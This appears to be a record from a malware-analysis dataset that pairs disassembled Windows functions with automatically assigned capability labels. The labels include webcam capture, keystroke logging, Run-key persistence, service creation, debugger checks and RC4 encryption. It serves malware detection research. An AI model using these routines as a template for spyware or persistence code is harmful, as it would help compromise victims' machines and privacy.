joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44d560
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x482ef3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00475c35
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0047b2d3
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0047c832
test eax, eax
je 0x44d67c
mov ecx, dword [esp + 0x3c]
call fcn.0047b300
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x44d640
push edi
mov ecx, esi
call fcn.0047895f
mov ecx, esi
call fcn.0044d7e0
cmp dword [esp + 0x38], 1
jne 0x44d675
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00478a9a
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x4500a0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4500d3
push esi
call fcn.004531a0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4500cc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x450159
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x450142
mov eax, dword [esi + 8]
test eax, eax
je 0x4500f7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x45013e
cmp eax, 2
je 0x450142
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4500ea
cmp eax, 3
je 0x45011d
cmp eax, 1
jne 0x4500ea
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4500ea
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4500ea
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00450180
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x450168
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00450180
add esp, 4
pop esi
ret

Function at 0x45c0a0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x45c143
test eax, eax
jbe 0x45c143
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x45c143
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x45c0ee
xor esi, esi
jmp 0x45c0f4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x45c11f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0045fad0
add esi, eax
push esi
mov ebx, esi
call fcn.0045fad0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x45c100
pop ebp
test edi, edi
pop edi
jne 0x45c143
test ebx, ebx
je 0x45c143
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00464990
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x45c285
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x45c39d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x45c39d
mov eax, dword [esi + 0x3c]
push eax
call fcn.00476087
mov esi, eax
test esi, esi
je 0x45c39d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x45c39d
mov ecx, esi
call fcn.0045c1f0
cmp edi, eax
jge 0x45c39d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x45c323
mov dword [esp + 0x34], 1
jmp 0x45c37e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x45c39d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0045b7c0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x45fbc0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x45fc26
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x45fc26
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x45fc07
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x45ffb0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x45ffe8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x460c10
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x460c59
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4610d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4837a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00460c80
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00460d00
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00460d00
lea ecx, [esi + 0xc]
call fcn.004745e7
lea ecx, [esi + 0x10]
call fcn.004745e7
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00462290
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00462290
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00462290
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0047465c
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0047465c
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x476a2a
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x476a62
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00474ab7
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00474a8f
jmp 0x476a6e
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x47811c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x47815e
call fcn.0047ded3
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x47815e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x478155
xor eax, eax
jmp 0x478166
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0047816c
pop edi
pop esi
pop ebx
ret 4

Function at 0x47e403
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47e431
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47e44f
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047e369
jmp 0x47e44f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47e44f
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047e369
test edi, edi
mov eax, edi
jne 0x47e439
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4016b0
Capabilities:
Create service

Disassembly:
sub esp, 0x104
push ebp
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 2
push str.ServicesActive
push 0
or ebp, 0xffffffff
stosb byte es:[edi], al
call dword [0x403018]
mov edi, eax
test edi, edi
je 0x40178f
push ebx
mov ebx, dword [esp + 0x114]
push esi
push 4
push ebx
push edi
call dword [0x403014]
mov esi, eax
test esi, esi
je 0x401706
xor ebp, ebp
jmp 0x401770
lea eax, [esp + 0x10]
push 0x104
push eax
call dword [0x403098]
test eax, eax
je 0x401770
mov esi, dword [0x403094]
lea ecx, [esp + 0x10]
push str.Drivers_
push ecx
call esi
mov edx, dword [esp + 0x120]
lea eax, [esp + 0x10]
push edx
push eax
call esi
push 0
mov edx, dword [esp + 0x120]
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
push ecx
push 1
push 3
push 1
push 0x100
push edx
push ebx
push edi
call dword [section..rdata]
mov esi, eax
test esi, esi
je 0x40177b
mov ebp, 1
test esi, esi
je 0x40177b
push esi
call dword [0x403010]
push edi
call dword [0x403010]
pop esi
pop ebx
mov eax, ebp
pop edi
pop ebp
add esp, 0x104
ret
mov eax, ebp
pop edi
pop ebp
add esp, 0x104
ret
Function at 0x4017a0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x3c]
push edi
xor ebx, ebx
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x20], 0x1c
cmp esi, ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
rep stosd dword es:[edi], eax
je 0x4019b2
mov eax, dword [esp + 0x44]
cmp eax, ebx
je 0x4019b2
lea eax, [eax + eax*4]
shl eax, 4
push eax
push esi
call dword [0x40309c]
test eax, eax
jne 0x4019b2
cmp byte [esi], 0
je 0x4019b2
mov eax, dword [esp + 0x48]
cmp eax, ebx
je 0x4019b2
cmp byte [eax], 0
je 0x4019b2
push 2
push ebx
push 0x40408c
push 0x403168
call dword [0x4030c4]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x10], esi
je 0x4019c9
lea ecx, [esp + 0x20]
mov dword [esp + 0x18], ebx
push ecx
push ebx
push esi
call dword [0x4030c0]
test eax, eax
je 0x401935
lea edx, [esp + 0x14]
mov edi, dword [0x4030bc]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x30]
push 1
push eax
push esi
call edi
mov eax, dword [esp + 0x14]
test eax, eax
je 0x401917
mov esi, dword [0x40308c]
push eax
push 8
call esi
push eax
call dword [0x403088]
mov ebp, eax
test ebp, ebp
je 0x4019b2
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push 0
push ecx
push ebp
push 0
lea edx, [esp + 0x30]
push 1
push edx
push eax
call edi
test eax, eax
jne 0x4018b6
push ebp
push eax
call esi
jmp 0x40190c
mov al, byte [ebp]
mov ebx, ebp
test al, al
je 0x4018fd
mov eax, dword [esp + 0x44]
xor esi, esi
test eax, eax
jbe 0x4018ed
mov edi, dword [esp + 0x40]
push edi
push ebx
call dword [0x403064]
test eax, eax
je 0x4018e7
mov eax, dword [esp + 0x44]
inc esi
add edi, 0x50
cmp esi, eax
jb 0x4018cd
jmp 0x4018ed
cmp esi, dword [esp + 0x44]
jb 0x4018fd
push ebx
call dword [0x403084]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x4018bf
mov al, byte [ebx]
push ebp
test al, al
push 0
jne 0x401952
call dword [0x40308c]
push eax
call dword [0x403080]
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x20]
inc eax
push ecx
push eax
push esi
mov dword [esp + 0x24], eax
call dword [0x4030c0]
test eax, eax
jne 0x401851
call dword [0x40307c]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x4030ac]
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
call dword [0x40308c]
push eax
call dword [0x403080]
mov eax, dword [esp + 0x10]
push 0x20006
push 2
push 0
lea edx, [esp + 0x2c]
push 1
push edx
push eax
call dword [0x4030b8]
mov esi, eax
cmp esi, 0xffffffff
je 0x4019b2
mov edi, dword [esp + 0x48]
push edi
call dword [0x403084]
inc eax
push eax
push edi
push 1
push 0
push str.CtAudioName
push esi
call dword [0x403004]
test eax, eax
jne 0x4019ab
mov dword [esp + 0x1c], 1
push esi
call dword [0x403008]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x4030ac]
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x2c
ret
Function at 0x4019e0
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x138
mov ecx, 0xb
lea eax, [esp]
push esi
push edi
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
push eax
push 0x2001f
lea ecx, [esp + 0x14]
push 0
push ecx
push 0x80000002
movsw word es:[edi], word [esi]
call dword [0x403020]
test eax, eax
jne 0x401ace
mov eax, dword [esp + 0x148]
test eax, eax
je 0x401ab3
mov eax, dword [esp + 0x144]
test eax, eax
je 0x401a53
push eax
push 0x40422c
lea edx, [esp + 0x44]
push str._s__d:_ld
push edx
call dword [0x4030d4]
add esp, 0x10
jmp 0x401a79
mov edi, 0x40422c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x3c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
push ecx
call dword [0x403084]
inc eax
lea edx, [esp + 0x3c]
push eax
mov eax, dword [esp + 0xc]
push edx
push 1
push 0
push 0x40422c
push eax
call dword [0x403004]
mov edx, dword [esp + 8]
push edx
call dword [0x403008]
pop edi
pop esi
add esp, 0x138
ret
mov ecx, dword [esp + 8]
push 0x40422c
push ecx
call dword [0x40301c]
mov edx, dword [esp + 8]
push edx
call dword [0x403008]
pop edi
pop esi
add esp, 0x138
ret
Function at 0x408480
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x468e9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045d800
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x408502
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045b5ad
mov eax, dword [eax]
push 0x48a1d0
push eax
call fcn.0044da34
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045da8b
test bl, bl
je 0x408502
push 0x48a1d0
lea ecx, [esp + 0xc]
call fcn.0045de1b
push 0x48dd34
lea ecx, [esp + 0xc]
call fcn.0045de1b
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40853e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045da8b
jmp 0x408609
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4085c2
lea edx, [esp + 0x7c]
push 0x48dd30
push edx
call fcn.0044da34
add esp, 8
test eax, eax
je 0x4085c2
lea eax, [esp + 0x7c]
push 0x48dd2c
push eax
call fcn.0044da34
add esp, 8
test eax, eax
je 0x4085c2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408552
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045da8b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x408e00
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x408e62
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x408e70
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x468f1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4946b0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x408fa8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x408ed6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045da8b
xor eax, eax
jmp 0x40901f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045dbc8
push esi
lea ecx, [esp + 0xc]
call fcn.0045de57
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x408ffd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00408e00
test eax, eax
jne 0x408ffd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00408e00
test eax, eax
jne 0x408ffd
lea eax, [esp + 0x14]
push 0x48dd48
push eax
call fcn.0044ea70
mov esi, eax
add esp, 8
test esi, esi
jne 0x408fdc
lea ecx, [esp + 0x14]
push 0x48dd44
push ecx
call fcn.0044e9f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x408fdc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x408fdf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045db78
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x408eee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045da8b
xor eax, eax
jmp 0x40901f
mov byte [esi], 0
push 0x48dd40
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045da8b
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41a050
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41a0be
cmp si, 0x69
ja 0x41a0be
add esi, 0xffd0
cmp si, 0x11
je 0x41a08e
push 0x11
call edi
test ax, ax
jge 0x41a08e
or esi, 0x2000
cmp si, 0x10
je 0x41a0a3
push 0x10
call edi
test ax, ax
jge 0x41a0a3
or esi, 0x4000
cmp si, 0x12
je 0x41a0b8
push 0x12
call edi
test ax, ax
jge 0x41a0b8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41a0cb
mov esi, 0xbd
jmp 0x41a07f
cmp si, 0x6e
jne 0x41a0d8
mov esi, 0xbe
jmp 0x41a07f
cmp si, 0x6f
jne 0x41a079
mov esi, 0xbf
jmp 0x41a07f

Function at 0x41b770
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4a4da8]
xor edx, edx
cmp eax, edx
jne 0x41b796
xor eax, eax
mov byte [eax + 0x4a4ca8], al
inc eax
cmp eax, 0x100
jl 0x41b77e
mov dword [0x4a4da8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4a4ca8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41b827
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41b7fa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41b7c8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41b8a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41b8f3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41b8da
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret